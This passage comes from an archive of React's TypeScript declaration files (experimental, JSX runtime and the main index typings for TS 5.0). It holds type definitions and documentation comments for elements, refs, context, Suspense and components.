(payload: Payload) => void, isPending: boolean]; interface DOMAttributes<T> { // Transition Events onTransitionCancel?: TransitionEventHandler<T> | undefined; onTransitionCancelCapture?: TransitionEventHandler<T> | undefined; onTransitionRun?: TransitionEventHandler<T> | undefined; onTransitionRunCapture?: TransitionEventHandler<T> | undefined; onTransitionStart?: TransitionEventHandler<T> | undefined; onTransitionStartCapture?: TransitionEventHandler<T> | undefined; } type ToggleEventHandler<T = Element> = EventHandler<ToggleEvent<T>>; interface HTMLAttributes<T> { popover?: "" | "auto" | "manual" | undefined; popoverTargetAction?: "toggle" | "show" | "hide" | undefined; popoverTarget?: string | undefined; onToggle?: ToggleEventHandler<T> | undefined; onBeforeToggle?: ToggleEventHandler<T> | undefined; } interface ToggleEvent<T = Element> extends SyntheticEvent<T, NativeToggleEvent> { oldState: "closed" | "open"; newState: "closed" | "open"; } /** * @internal Use `Awaited<ReactNode>` instead */ // Helper type to enable `Awaited<ReactNode>`. // Must be a copy of the non-thenables of `ReactNode`. type AwaitedReactNode = | ReactElement | string | number | Iterable<AwaitedReactNode> | ReactPortal | boolean | null | undefined; interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_REACT_NODES { promises: Promise<AwaitedReactNode>; bigints: bigint; } } react/ts5.0/experimental.d.ts000064400000012301151676730710012014 0ustar00/** * These are types for things that are present in the `experimental` builds of React but not yet * on a stable build. * * Once they are promoted to stable they can just be moved to the main index file. * * To load the types declared here in an actual project, there are three ways. The easiest one, * if your `tsconfig.json` already has a `"types"` array in the `"compilerOptions"` section, * is to add `"react/experimental"` to the `"types"` array. * * Alternatively, a specific import syntax can to be used from a typescript file. * This module does not exist in reality, which is why the {} is important: * * ```ts * import {} from 'react/experimental' * ``` * * It is also possible to include it through a triple-slash reference: * * ```ts * /// <reference types="react/experimental" /> * ``` * * Either the import or the reference only needs to appear once, anywhere in the project. */ // See https://github.com/facebook/react/blob/master/packages/react/src/React.js to see how the exports are declared, // and https://github.com/facebook/react/blob/master/packages/shared/ReactFeatureFlags.js to verify which APIs are // flagged experimental or not. Experimental APIs will be tagged with `__EXPERIMENTAL__`. // // For the inputs of types exported as simply a fiber tag, the `beginWork` function of ReactFiberBeginWork.js // is a good place to start looking for details; it generally calls prop validation functions or delegates // all tasks done as part of the render phase (the concurrent part of the React update cycle). // // Suspense-related handling can be found in ReactFiberThrow.js. import React = require("./canary"); export {}; declare const UNDEFINED_VOID_ONLY: unique symbol; type VoidOrUndefinedOnly = void | { [UNDEFINED_VOID_ONLY]: never }; declare module "." { export interface SuspenseProps { /** * The presence of this prop indicates that the content is computationally expensive to render. * In other words, the tree is CPU bound and not I/O bound (e.g. due to fetching data). * @see {@link https://github.com/facebook/react/pull/19936} */ unstable_expectedLoadTime?: number | undefined; } export type SuspenseListRevealOrder = "forwards" | "backwards" | "together"; export type SuspenseListTailMode = "collapsed" | "hidden"; export interface SuspenseListCommonProps { /** * Note that SuspenseList require more than one child; * it is a runtime warning to provide only a single child. * * It does, however, allow those children to be wrapped inside a single * level of `<React.Fragment>`. */ children: ReactElement | Iterable<ReactElement>; } interface DirectionalSuspenseListProps extends SuspenseListCommonProps { /** * Defines the order in which the `SuspenseList` children should be revealed. */ revealOrder: "forwards" | "backwards"; /** * Dictates how unloaded items in a SuspenseList is shown. * * - By default, `SuspenseList` will show all fallbacks in the list. * - `collapsed` shows only the next fallback in the list. * - `hidden` doesn’t show any unloaded items. */ tail?: SuspenseListTailMode | undefined; } interface NonDirectionalSuspenseListProps extends SuspenseListCommonProps { /** * Defines the order in which the `SuspenseList` children should be revealed. */ revealOrder?: Exclude<SuspenseListRevealOrder, DirectionalSuspenseListProps["revealOrder"]> | undefined; /** * The tail property is invalid when not using the `forwards` or `backwards` reveal orders. */ tail?: never | undefined; } export type SuspenseListProps = DirectionalSuspenseListProps | NonDirectionalSuspenseListProps; /** * `SuspenseList` helps coordinate many components that can suspend by orchestrating the order * in which these components are revealed to the user. * * When multiple components need to fetch data, this data may arrive in an unpredictable order. * However, if you wrap these items in a `SuspenseList`, React will not show an item in the list * until previous items have been displayed (this behavior is adjustable). * * @see https://reactjs.org/docs/concurrent-mode-reference.html#suspenselist * @see https://reactjs.org/docs/concurrent-mode-patterns.html#suspenselist */ export const unstable_SuspenseList: ExoticComponent<SuspenseListProps>; // eslint-disable-next-line @typescript-eslint/ban-types export function experimental_useEffectEvent<T extends Function>(event: T): T; type Reference = object; type TaintableUniqueValue = string | bigint | ArrayBufferView; function experimental_taintUniqueValue( message: string | undefined, lifetime: Reference, value: TaintableUniqueValue, ): void; function experimental_taintObjectReference(message: string | undefined, object: Reference): void; export interface HTMLAttributes<T> { /** * @see https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/inert */ inert?: boolean | undefined; } } react/ts5.0/jsx-runtime.d.ts000064400000002206151676730710011607 0ustar00import * as React from "./"; export { Fragment } from "./"; export namespace JSX { interface Element extends React.JSX.Element {} interface ElementClass extends React.JSX.ElementClass {} interface ElementAttributesProperty extends React.JSX.ElementAttributesProperty {} interface ElementChildrenAttribute extends React.JSX.ElementChildrenAttribute {} type LibraryManagedAttributes<C, P> = React.JSX.LibraryManagedAttributes<C, P>; interface IntrinsicAttributes extends React.JSX.IntrinsicAttributes {} interface IntrinsicClassAttributes<T> extends React.JSX.IntrinsicClassAttributes<T> {} interface IntrinsicElements extends React.JSX.IntrinsicElements {} } /** * Create a React element. * * You should not use this function directly. Use JSX and a transpiler instead. */ export function jsx( type: React.ElementType, props: unknown, key?: React.Key, ): React.ReactElement; /** * Create a React element. * * You should not use this function directly. Use JSX and a transpiler instead. */ export function jsxs( type: React.ElementType, props: unknown, key?: React.Key, ): React.ReactElement; react/ts5.0/jsx-dev-runtime.d.ts000064400000002526151676730710012370 0ustar00import * as React from "./"; export { Fragment } from "./"; export namespace JSX { interface Element extends React.JSX.Element {} interface ElementClass extends React.JSX.ElementClass {} interface ElementAttributesProperty extends React.JSX.ElementAttributesProperty {} interface ElementChildrenAttribute extends React.JSX.ElementChildrenAttribute {} type LibraryManagedAttributes<C, P> = React.JSX.LibraryManagedAttributes<C, P>; interface IntrinsicAttributes extends React.JSX.IntrinsicAttributes {} interface IntrinsicClassAttributes<T> extends React.JSX.IntrinsicClassAttributes<T> {} interface IntrinsicElements extends React.JSX.IntrinsicElements {} } export interface JSXSource { /** * The source file where the element originates from. */ fileName?: string | undefined; /** * The line number where the element was created. */ lineNumber?: number | undefined; /** * The column number where the element was created. */ columnNumber?: number | undefined; } /** * Create a React element. * * You should not use this function directly. Use JSX and a transpiler instead. */ export function jsxDEV( type: React.ElementType, props: unknown, key: React.Key | undefined, isStatic: boolean, source?: JSXSource, self?: unknown, ): React.ReactElement; react/ts5.0/index.d.ts000064400000570342151676730710010444 0ustar00// NOTE: Users of the `experimental` builds of React should add a reference // to 'react/experimental' in their project. See experimental.d.ts's top comment // for reference and documentation on how exactly to do it. /// <reference path="global.d.ts" /> import * as CSS from "csstype"; import * as PropTypes from "prop-types"; type NativeAnimationEvent = AnimationEvent; type NativeClipboardEvent = ClipboardEvent; type NativeCompositionEvent = CompositionEvent; type NativeDragEvent = DragEvent; type NativeFocusEvent = FocusEvent; type NativeKeyboardEvent = KeyboardEvent; type NativeMouseEvent = MouseEvent; type NativeTouchEvent = TouchEvent; type NativePointerEvent = PointerEvent; type NativeTransitionEvent = TransitionEvent; type NativeUIEvent = UIEvent; type NativeWheelEvent = WheelEvent; /** * Used to represent DOM API's where users can either pass * true or false as a boolean or as its equivalent strings. */ type Booleanish = boolean | "true" | "false"; /** * @see {@link https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/crossorigin MDN} */ type CrossOrigin = "anonymous" | "use-credentials" | "" | undefined; declare const UNDEFINED_VOID_ONLY: unique symbol; /** * The function returned from an effect passed to {@link React.useEffect useEffect}, * which can be used to clean up the effect when the component unmounts. * * @see {@link https://react.dev/reference/react/useEffect React Docs} */ type Destructor = () => void | { [UNDEFINED_VOID_ONLY]: never }; type VoidOrUndefinedOnly = void | { [UNDEFINED_VOID_ONLY]: never }; // eslint-disable-next-line @definitelytyped/export-just-namespace export = React; export as namespace React; declare namespace React { // // React Elements // ---------------------------------------------------------------------- /** * Used to retrieve the possible components which accept a given set of props. * * Can be passed no type parameters to get a union of all possible components * and tags. * * Is a superset of {@link ComponentType}. * * @template P The props to match against. If not passed, defaults to any. * @template Tag An optional tag to match against. If not passed, attempts to match against all possible tags. * * @example * * ```tsx * // All components and tags (img, embed etc.) * // which accept `src` * type SrcComponents = ElementType<{ src: any }>; * ``` * * @example * * ```tsx * // All components * type AllComponents = ElementType; * ``` * * @example * * ```tsx * // All custom components which match `src`, and tags which * // match `src`, narrowed down to just `audio` and `embed` * type SrcComponents = ElementType<{ src: any }, 'audio' | 'embed'>; * ``` */ type ElementType<P = any, Tag extends keyof JSX.IntrinsicElements = keyof JSX.IntrinsicElements> = | { [K in Tag]: P extends JSX.IntrinsicElements[K] ? K : never }[Tag] | ComponentType<P>; /** * Represents any user-defined component, either as a function or a class. * * Similar to {@link JSXElementConstructor}, but with extra properties like * {@link FunctionComponent.defaultProps defaultProps } and * {@link ComponentClass.contextTypes contextTypes}. * * @template P The props the component accepts. * * @see {@link ComponentClass} * @see {@link FunctionComponent} */ type ComponentType<P = {}> = ComponentClass<P> | FunctionComponent<P>; /** * Represents any user-defined component, either as a function or a class. * * Similar to {@link ComponentType}, but without extra properties like * {@link FunctionComponent.defaultProps defaultProps } and * {@link ComponentClass.contextTypes contextTypes}. * * @template P The props the component accepts. */ type JSXElementConstructor<P> = | (( props: P, /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#referencing-context-in-stateless-function-components React Docs} */ deprecatedLegacyContext?: any, ) => ReactElement<any, any> | null) | (new( props: P, /** * @deprecated * * @see {@link https://legacy.reactjs.org/docs/legacy-context.html#referencing-context-in-lifecycle-methods React Docs} */ deprecatedLegacyContext?: any, ) => Component<any, any>); /** * A readonly ref container where {@link current} cannot be mutated. * * Created by {@link createRef}, or {@link useRef} when passed `null`. * * @template T The type of the ref's value. * * @example * * ```tsx * const ref = createRef<HTMLDivElement>(); * * ref.current = document.createElement('div'); // Error * ``` */ interface RefObject<T> { /** * The current value of the ref. */ readonly current: T | null; } interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_CALLBACK_REF_RETURN_VALUES { } /** * A callback fired whenever the ref's value changes. * * @template T The type of the ref's value. * * @see {@link https://react.dev/reference/react-dom/components/common#ref-callback React Docs} * * @example * * ```tsx * <div ref={(node) => console.log(node)} /> * ``` */ type RefCallback<T> = { bivarianceHack( instance: T | null, ): | void | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_CALLBACK_REF_RETURN_VALUES[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_CALLBACK_REF_RETURN_VALUES ]; }["bivarianceHack"]; /** * A union type of all possible shapes for React refs. * * @see {@link RefCallback} * @see {@link RefObject} */ type Ref<T> = RefCallback<T> | RefObject<T> | null; /** * A legacy implementation of refs where you can pass a string to a ref prop. * * @see {@link https://react.dev/reference/react/Component#refs React Docs} * * @example * * ```tsx * <div ref="myRef" /> * ``` */ // TODO: Remove the string ref special case from `PropsWithRef` once we remove LegacyRef type LegacyRef<T> = string | Ref<T>; /** * Retrieves the type of the 'ref' prop for a given component type or tag name. * * @template C The component type. * * @example * * ```tsx * type MyComponentRef = React.ElementRef<typeof MyComponent>; * ``` * * @example * * ```tsx * type DivRef = React.ElementRef<'div'>; * ``` */ type ElementRef< C extends | ForwardRefExoticComponent<any> | { new(props: any): Component<any> } | ((props: any, deprecatedLegacyContext?: any) => ReactElement | null) | keyof JSX.IntrinsicElements, > = // need to check first if `ref` is a valid prop for ts@3.0 // otherwise it will infer `{}` instead of `never` "ref" extends keyof ComponentPropsWithRef<C> ? NonNullable<ComponentPropsWithRef<C>["ref"]> extends RefAttributes< infer Instance >["ref"] ? Instance : never : never; type ComponentState = any; /** * A value which uniquely identifies a node among items in an array. * * @see {@link https://react.dev/learn/rendering-lists#keeping-list-items-in-order-with-key React Docs} */ type Key = string | number | bigint; /** * @internal The props any component can receive. * You don't have to add this type. All components automatically accept these props. * ```tsx * const Component = () => <div />; * <Component key="one" /> * ``` * * WARNING: The implementation of a component will never have access to these attributes. * The following example would be incorrect usage because {@link Component} would never have access to `key`: * ```tsx * const Component = (props: React.Attributes) => props.key; * ``` */ interface Attributes { key?: Key | null | undefined; } /** * The props any component accepting refs can receive. * Class components, built-in browser components (e.g. `div`) and forwardRef components can receive refs and automatically accept these props. * ```tsx * const Component = forwardRef(() => <div />); * <Component ref={(current) => console.log(current)} /> * ``` * * You only need this type if you manually author the types of props that need to be compatible with legacy refs. * ```tsx * interface Props extends React.RefAttributes<HTMLDivElement> {} * declare const Component: React.FunctionComponent<Props>; * ``` * * Otherwise it's simpler to directly use {@link Ref} since you can safely use the * props type to describe to props that a consumer can pass to the component * as well as describing the props the implementation of a component "sees". * {@link RefAttributes} is generally not safe to describe both consumer and seen props. * * ```tsx * interface Props extends { * ref?: React.Ref<HTMLDivElement> | undefined; * } * declare const Component: React.FunctionComponent<Props>; * ``` * * WARNING: The implementation of a component will not have access to the same type in versions of React supporting string refs. * The following example would be incorrect usage because {@link Component} would never have access to a `ref` with type `string` * ```tsx * const Component = (props: React.RefAttributes) => props.ref; * ``` */ interface RefAttributes<T> extends Attributes { /** * Allows getting a ref to the component instance. * Once the component unmounts, React will set `ref.current` to `null` * (or call the ref with `null` if you passed a callback ref). * * @see {@link https://react.dev/learn/referencing-values-with-refs#refs-and-the-dom React Docs} */ ref?: LegacyRef<T> | undefined; } /** * Represents the built-in attributes available to class components. */ interface ClassAttributes<T> extends RefAttributes<T> { } /** * Represents a JSX element. * * Where {@link ReactNode} represents everything that can be rendered, `ReactElement` * only represents JSX. * * @template P The type of the props object * @template T The type of the component or tag * * @example * * ```tsx * const element: ReactElement = <div />; * ``` */ interface ReactElement< P = any, T extends string | JSXElementConstructor<any> = string | JSXElementConstructor<any>, > { type: T; props: P; key: string | null; } /** * @deprecated */ interface ReactComponentElement< T extends keyof JSX.IntrinsicElements | JSXElementConstructor<any>, P = Pick<ComponentProps<T>, Exclude<keyof ComponentProps<T>, "key" | "ref">>, > extends ReactElement<P, Exclude<T, number>> {} interface FunctionComponentElement<P> extends ReactElement<P, FunctionComponent<P>> { ref?: ("ref" extends keyof P ? P extends { ref?: infer R | undefined } ? R : never : never) | undefined; } type CElement<P, T extends Component<P, ComponentState>> = ComponentElement<P, T>; interface ComponentElement<P, T extends Component<P, ComponentState>> extends ReactElement<P, ComponentClass<P>> { ref?: LegacyRef<T> | undefined; } /** * @deprecated Use {@link ComponentElement} instead. */ type ClassicElement<P> = CElement<P, ClassicComponent<P, ComponentState>>; // string fallback for custom web-components interface DOMElement<P extends HTMLAttributes<T> | SVGAttributes<T>, T extends Element> extends ReactElement<P, string> { ref: LegacyRef<T>; } // ReactHTML for ReactHTMLElement interface ReactHTMLElement<T extends HTMLElement> extends DetailedReactHTMLElement<AllHTMLAttributes<T>, T> {} interface DetailedReactHTMLElement<P extends HTMLAttributes<T>, T extends HTMLElement> extends DOMElement<P, T> { type: keyof ReactHTML; } // ReactSVG for ReactSVGElement interface ReactSVGElement extends DOMElement<SVGAttributes<SVGElement>, SVGElement> { type: keyof ReactSVG; } interface ReactPortal extends ReactElement { children: ReactNode; } // // Factories // ---------------------------------------------------------------------- type Factory<P> = (props?: Attributes & P, ...children: ReactNode[]) => ReactElement<P>; /** * @deprecated Please use `FunctionComponentFactory` */ type SFCFactory<P> = FunctionComponentFactory<P>; type FunctionComponentFactory<P> = ( props?: Attributes & P, ...children: ReactNode[] ) => FunctionComponentElement<P>; type ComponentFactory<P, T extends Component<P, ComponentState>> = ( props?: ClassAttributes<T> & P, ...children: ReactNode[] ) => CElement<P, T>; type CFactory<P, T extends Component<P, ComponentState>> = ComponentFactory<P, T>; type ClassicFactory<P> = CFactory<P, ClassicComponent<P, ComponentState>>; type DOMFactory<P extends DOMAttributes<T>, T extends Element> = ( props?: ClassAttributes<T> & P | null, ...children: ReactNode[] ) => DOMElement<P, T>; interface HTMLFactory<T extends HTMLElement> extends DetailedHTMLFactory<AllHTMLAttributes<T>, T> {} interface DetailedHTMLFactory<P extends HTMLAttributes<T>, T extends HTMLElement> extends DOMFactory<P, T> { (props?: ClassAttributes<T> & P | null, ...children: ReactNode[]): DetailedReactHTMLElement<P, T>; } interface SVGFactory extends DOMFactory<SVGAttributes<SVGElement>, SVGElement> { ( props?: ClassAttributes<SVGElement> & SVGAttributes<SVGElement> | null, ...children: ReactNode[] ): ReactSVGElement; } /** * @deprecated - This type is not relevant when using React. Inline the type instead to make the intent clear. */ type ReactText = string | number; /** * @deprecated - This type is not relevant when using React. Inline the type instead to make the intent clear. */ type ReactChild = ReactElement | string | number; /** * @deprecated Use either `ReactNode[]` if you need an array or `Iterable<ReactNode>` if its passed to a host component. */ interface ReactNodeArray extends ReadonlyArray<ReactNode> {} /** * WARNING: Not related to `React.Fragment`. * @deprecated This type is not relevant when using React. Inline the type instead to make the intent clear. */ type ReactFragment = Iterable<ReactNode>; /** * For internal usage only. * Different release channels declare additional types of ReactNode this particular release channel accepts. * App or library types should never augment this interface. */ interface DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_REACT_NODES {} /** * Represents all of the things React can render. * * Where {@link ReactElement} only represents JSX, `ReactNode` represents everything that can be rendered. * * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/react-types/reactnode/ React TypeScript Cheatsheet} * * @example * * ```tsx * // Typing children * type Props = { children: ReactNode } * * const Component = ({ children }: Props) => <div>{children}</div> * * <Component>hello</Component> * ``` * * @example * * ```tsx * // Typing a custom element * type Props = { customElement: ReactNode } * * const Component = ({ customElement }: Props) => <div>{customElement}</div> * * <Component customElement={<div>hello</div>} /> * ``` */ // non-thenables need to be kept in sync with AwaitedReactNode type ReactNode = | ReactElement | string | number | Iterable<ReactNode> | ReactPortal | boolean | null | undefined | DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_REACT_NODES[ keyof DO_NOT_USE_OR_YOU_WILL_BE_FIRED_EXPERIMENTAL_REACT_NODES ]; // // Top Level API // ---------------------------------------------------------------------- // DOM Elements /** @deprecated */ function createFactory<T extends HTMLElement>( type: keyof ReactHTML, ): HTMLFactory<T>; /** @deprecated */ function createFactory( type: keyof ReactSVG, ): SVGFactory; /** @deprecated */ function createFactory<P extends DOMAttributes<T>, T extends Element>( type: string, ): DOMFactory<P, T>; // Custom components /** @deprecated */ function createFactory<P>(type: FunctionComponent<P>): FunctionComponentFactory<P>; /** @deprecated */ function createFactory<P, T extends Component<P, ComponentState>, C extends ComponentClass<P>>( type: ClassType<P, T, C>, ): CFactory<P, T>; /** @deprecated */ function createFactory<P>(type: ComponentClass<P>): Factory<P>; // DOM Elements // TODO: generalize this to everything in `keyof ReactHTML`, not just "input" function createElement( type: "input", props?: InputHTMLAttributes<HTMLInputElement> & ClassAttributes<HTMLInputElement> | null, ...children: ReactNode[] ): DetailedReactHTMLElement<InputHTMLAttributes<HTMLInputElement>, HTMLInputElement>; function createElement<P extends HTMLAttributes<T>, T extends HTMLElement>( type: keyof ReactHTML, props?: ClassAttributes<T> & P | null, ...children: ReactNode[] ): DetailedReactHTMLElement<P, T>; function createElement<P extends SVGAttributes<T>, T extends SVGElement>( type: keyof ReactSVG, props?: ClassAttributes<T> & P | null, ...children: ReactNode[] ): ReactSVGElement; function createElement<P extends DOMAttributes<T>, T extends Element>( type: string, props?: ClassAttributes<T> & P | null, ...children: ReactNode[] ): DOMElement<P, T>; // Custom components function createElement<P extends {}>( type: FunctionComponent<P>, props?: Attributes & P | null, ...children: ReactNode[] ): FunctionComponentElement<P>; function createElement<P extends {}, T extends Component<P, ComponentState>, C extends ComponentClass<P>>( type: ClassType<P, T, C>, props?: ClassAttributes<T> & P | null, ...children: ReactNode[] ): CElement<P, T>; function createElement<P extends {}>( type: FunctionComponent<P> | ComponentClass<P> | string, props?: Attributes & P | null, ...children: ReactNode[] ): ReactElement<P>; // DOM Elements // ReactHTMLElement function cloneElement<P extends HTMLAttributes<T>, T extends HTMLElement>( element: DetailedReactHTMLElement<P, T>, props?: P, ...children: ReactNode[] ): DetailedReactHTMLElement<P, T>; // ReactHTMLElement, less specific function cloneElement<P extends HTMLAttributes<T>, T extends HTMLElement>( element: ReactHTMLElement<T>, props?: P, ...children: ReactNode[] ): ReactHTMLElement<T>; // SVGElement function cloneElement<P extends SVGAttributes<T>, T extends SVGElement>( element: ReactSVGElement, props?: P, ...children: ReactNode[] ): ReactSVGElement; // DOM Element (has to be the last, because type checking stops at first overload that fits) function cloneElement<P extends DOMAttributes<T>, T extends Element>( element: DOMElement<P, T>, props?: DOMAttributes<T> & P, ...children: ReactNode[] ): DOMElement<P, T>; // Custom components function cloneElement<P>( element: FunctionComponentElement<P>, props?: Partial<P> & Attributes, ...children: ReactNode[] ): FunctionComponentElement<P>; function cloneElement<P, T extends Component<P, ComponentState>>( element: CElement<P, T>, props?: Partial<P> & ClassAttributes<T>, ...children: ReactNode[] ): CElement<P, T>; function cloneElement<P>( element: ReactElement<P>, props?: Partial<P> & Attributes, ...children: ReactNode[] ): ReactElement<P>; /** * Describes the props accepted by a Context {@link Provider}. * * @template T The type of the value the context provides. */ interface ProviderProps<T> { value: T; children?: ReactNode | undefined; } /** * Describes the props accepted by a Context {@link Consumer}. * * @template T The type of the value the context provides. */ interface ConsumerProps<T> { children: (value: T) => ReactNode; } /** * An object masquerading as a component. These are created by functions * like {@link forwardRef}, {@link memo}, and {@link createContext}. * * In order to make TypeScript work, we pretend that they are normal * components. * * But they are, in fact, not callable - instead, they are objects which * are treated specially by the renderer. * * @template P The props the component accepts. */ interface ExoticComponent<P = {}> { (props: P): ReactElement | null; readonly $$typeof: symbol; } /** * An {@link ExoticComponent} with a `displayName` property applied to it. * * @template P The props the component accepts. */ interface NamedExoticComponent<P = {}> extends ExoticComponent<P> { /** * Used in debugging messages. You might want to set it * explicitly if you want to display a different name for * debugging purposes. * * @see {@link https://legacy.reactjs.org/docs/react-component.html#displayname Legacy React Docs} */ displayName?: string | undefined; } /** * An {@link ExoticComponent} with a `propTypes` property applied to it. * * @template P The props the component accepts. */ interface ProviderExoticComponent<P> extends ExoticComponent<P> { propTypes?: WeakValidationMap<P> | undefined; } /** * Used to retrieve the type of a context object from a {@link Context}. * * @template C The context object. * * @example * * ```tsx * import { createContext } from 'react'; * * const MyContext = createContext({ foo: 'bar' }); * * type ContextType = ContextType<typeof MyContext>; * // ContextType = { foo: string } * ``` */ type ContextType<C extends Context<any>> = C extends Context<infer T> ? T : never; /** * Wraps your components to specify the value of this context for all components inside. * * @see {@link https://react.dev/reference/react/createContext#provider React Docs} * * @example * * ```tsx * import { createContext } from 'react'; * * const ThemeContext = createContext('light'); * * function App() { * return ( * <ThemeContext.Provider value="dark"> * <Toolbar /> * </ThemeContext.Provider> * ); * } * ``` */ type Provider<T> = ProviderExoticComponent<ProviderProps<T>>; /** * The old way to read context, before {@link useContext} existed. * * @see {@link https://react.dev/reference/react/createContext#consumer React Docs} * * @example * * ```tsx * import { UserContext } from './user-context'; * * function Avatar() { * return ( * <UserContext.Consumer> * {user => <img src={user.profileImage} alt={user.name} />} * </UserContext.Consumer> * ); * } * ``` */ type Consumer<T> = ExoticComponent<ConsumerProps<T>>; /** * Context lets components pass information deep down without explicitly * passing props. * * Created from {@link createContext} * * @see {@link https://react.dev/learn/passing-data-deeply-with-context React Docs} * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/context/ React TypeScript Cheatsheet} * * @example * * ```tsx * import { createContext } from 'react'; * * const ThemeContext = createContext('light'); * ``` */ interface Context<T> { Provider: Provider<T>; Consumer: Consumer<T>; /** * Used in debugging messages. You might want to set it * explicitly if you want to display a different name for * debugging purposes. * * @see {@link https://legacy.reactjs.org/docs/react-component.html#displayname Legacy React Docs} */ displayName?: string | undefined; } /** * Lets you create a {@link Context} that components can provide or read. * * @param defaultValue The value you want the context to have when there is no matching * {@link Provider} in the tree above the component reading the context. This is meant * as a "last resort" fallback. * * @see {@link https://react.dev/reference/react/createContext#reference React Docs} * @see {@link https://react-typescript-cheatsheet.netlify.app/docs/basic/getting-started/context/ React TypeScript Cheatsheet} * * @example * * ```tsx * import { createContext } from 'react'; * * const ThemeContext = createContext('light'); * ``` */ function createContext<T>( // If you thought this should be optional, see // https://github.com/DefinitelyTyped/DefinitelyTyped/pull/24509#issuecomment-382213106 defaultValue: T, ): Context<T>; function isValidElement<P>(object: {} | null | undefined): object is ReactElement<P>; /** * Maintainer's note: Sync with {@link ReactChildren} until {@link ReactChildren} is removed. */ const Children: { map<T, C>( children: C | readonly C[], fn: (child: C, index: number) => T, ): C extends null | undefined ? C : Array<Exclude<T, boolean | null | undefined>>; forEach<C>(children: C | readonly C[], fn: (child: C, index: number) => void): void; count(children: any): number; only<C>(children: C): C extends any[] ? never : C; toArray(children: ReactNode | ReactNode[]): Array<Exclude<ReactNode, boolean | null | undefined>>; }; /** * Lets you group elements without a wrapper node. * * @see {@link https://react.dev/reference/react/Fragment React Docs} * * @example * * ```tsx * import { Fragment } from 'react'; * * <Fragment> * <td>Hello</td> * <td>World</td> * </Fragment> * ``` * * @example * * ```tsx * // Using the <></> shorthand syntax: * * <> * <td>Hello</td> * <td>World</td> * </> * ``` */ const Fragment: ExoticComponent<{ children?: ReactNode | undefined }>; /** * Lets you find common bugs in your components early during development. * * @see {@link https://react.dev/reference/react/StrictMode React Docs} * * @example * * ```tsx * import { StrictMode } from 'react'; * * <StrictMode> * <App /> * </StrictMode> * ``` */ const StrictMode: ExoticComponent<{ children?: ReactNode | undefined }>; /** * The props accepted by {@link Suspense}. * * @see {@link https://react.dev/reference/react/Suspense React Docs} */ interface SuspenseProps { children?: ReactNode | undefined; /** A fallback react tree to show when a Suspense child (like React.lazy) suspends */ fallback?: ReactNode; } /** * Lets you display a fallback until its children have finished loading. * * @see {@link https://react.dev/reference/react/Suspense React Docs} * * @example * * ```tsx * import { Suspense } from 'react'; * * <Suspense fallback={<Loading />}> * <ProfileDetails /> * </Suspense> * ``` */ const Suspense: ExoticComponent<SuspenseProps>; const version: string; /** * The callback passed to {@link ProfilerProps.onRender}. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ type ProfilerOnRenderCallback = ( /** * The string id prop of the {@link Profiler} tree that has just committed. This lets * you identify which part of the tree was committed if you are using multiple * profilers. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ id: string, /** * This lets you know whether the tree has just been mounted for the first time * or re-rendered due to a change in props, state, or hooks. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ phase: "mount" | "update" | "nested-update", /** * The number of milliseconds spent rendering the {@link Profiler} and its descendants * for the current update. This indicates how well the subtree makes use of * memoization (e.g. {@link memo} and {@link useMemo}). Ideally this value should decrease * significantly after the initial mount as many of the descendants will only need to * re-render if their specific props change. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ actualDuration: number, /** * The number of milliseconds estimating how much time it would take to re-render the entire * {@link Profiler} subtree without any optimizations. It is calculated by summing up the most * recent render durations of each component in the tree. This value estimates a worst-case * cost of rendering (e.g. the initial mount or a tree with no memoization). Compare * {@link actualDuration} against it to see if memoization is working. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ baseDuration: number, /** * A numeric timestamp for when React began rendering the current update. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ startTime: number, /** * A numeric timestamp for when React committed the current update. This value is shared * between all profilers in a commit, enabling them to be grouped if desirable. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} */ commitTime: number, ) => void; /** * The props accepted by {@link Profiler}. * * @see {@link https://react.dev/reference/react/Profiler React Docs} */ interface ProfilerProps { children?: ReactNode | undefined; id: string; onRender: ProfilerOnRenderCallback; } /** * Lets you measure rendering performance of a React tree programmatically. * * @see {@link https://react.dev/reference/react/Profiler#onrender-callback React Docs} * * @example * * ```tsx * <Profiler id="App" onRender={onRender}> * <App /> * </Profiler> * ``` */ const Profiler: ExoticComponent<ProfilerProps>; // // Component API // ---------------------------------------------------------------------- type ReactInstance = Component<any> | Element; // Base component for plain JS classes interface Component<P = {}, S = {}, SS = any> extends ComponentLifecycle<P, S, SS> {} class Component<P, S> { /** * If set, `this.context` will be set at runtime to the current value of the given Context. * * @example * * ```ts * type MyContext = number * const Ctx = React.createContext<MyContext>(0) * * class Foo extends React.Component { * static contextType = Ctx * context!: React.ContextType<typeof Ctx> * render () { * return <>My context's value: {this.context}</>; * } * } * ``` * * @see {@link https://react.dev/reference/react/Component#static-contexttype} */ static contextType?: Context<any> | undefined; /** * If using the new style context, re-declare this in your class to be the * `React.ContextType` of your `static contextType`. * Should be used with type annotation or static contextType. * * @example * ```ts * static contextType = MyContext * // For TS pre-3.7: * context!: React.ContextType<typeof MyContext> * // For TS 3.7 and above: * declare context: React.ContextType<typeof MyContext> * ``` * * @see {@link https://react.dev/reference/react/Component#context React Docs} */ context: unknown; constructor(props: P); /** * @deprecated * @see {@link https://legacy.reactjs.org/docs/legacy-context.html React Docs} */ constructor(props: P, context: any); // We MUST keep setState() as a unified signature because it allows proper checking of the method return type. // See: https://github.com/DefinitelyTyped/DefinitelyTyped/issues/18365#issuecomment-351013257 // Also, the ` | S` allows intellisense to not be dumbisense setState<K extends keyof S>( state: ((prevState: Readonly<S>, props: Readonly<P>) => Pick<S, K> | S | null) | (Pick<S, K> | S | null), callback?: () => void, ): void; forceUpdate(callback?: () => 